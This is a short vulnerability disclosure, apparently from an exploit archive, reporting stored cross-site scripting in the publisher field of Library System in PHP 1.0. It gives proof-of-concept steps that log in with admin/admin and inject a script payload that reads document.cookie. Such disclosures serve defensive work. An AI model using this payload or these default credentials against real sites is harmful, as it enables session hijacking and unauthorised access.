Library System in PHP 1.0 - (publisher name) Stored Cross-Site Scripting Vulnerability

# Exploit Title: Library System in PHP 1.0 - 'publisher name' Stored Cross-Site Scripting (XSS)
# Exploit Author: Akash Rajendra Patil
# Vendor Homepage: https://www.yahoobaba.net/project/library-system-in-php
# Software Link: https://www.yahoobaba.net/project/library-system-in-php
# Version: V 1.0
# Tested on: WAMPP
# Description #

Library System in PHP V1.0 is vulnerable to stored cross site scripting because of insufficient user supplied data sanitisation.

# Proof of Concept (PoC) :
#Exploit:
1) Goto: http://localhost/library-system/dashboard.php
2) Login as admin using test credentials: admin/admin
3) Goto: http://localhost/library-system/update-publisher.php?pid=12
4) Enter the following payload in the publisher field: <script>alert(document.cookie)</script>
5) Click on Save
6) Our payload is fired and stored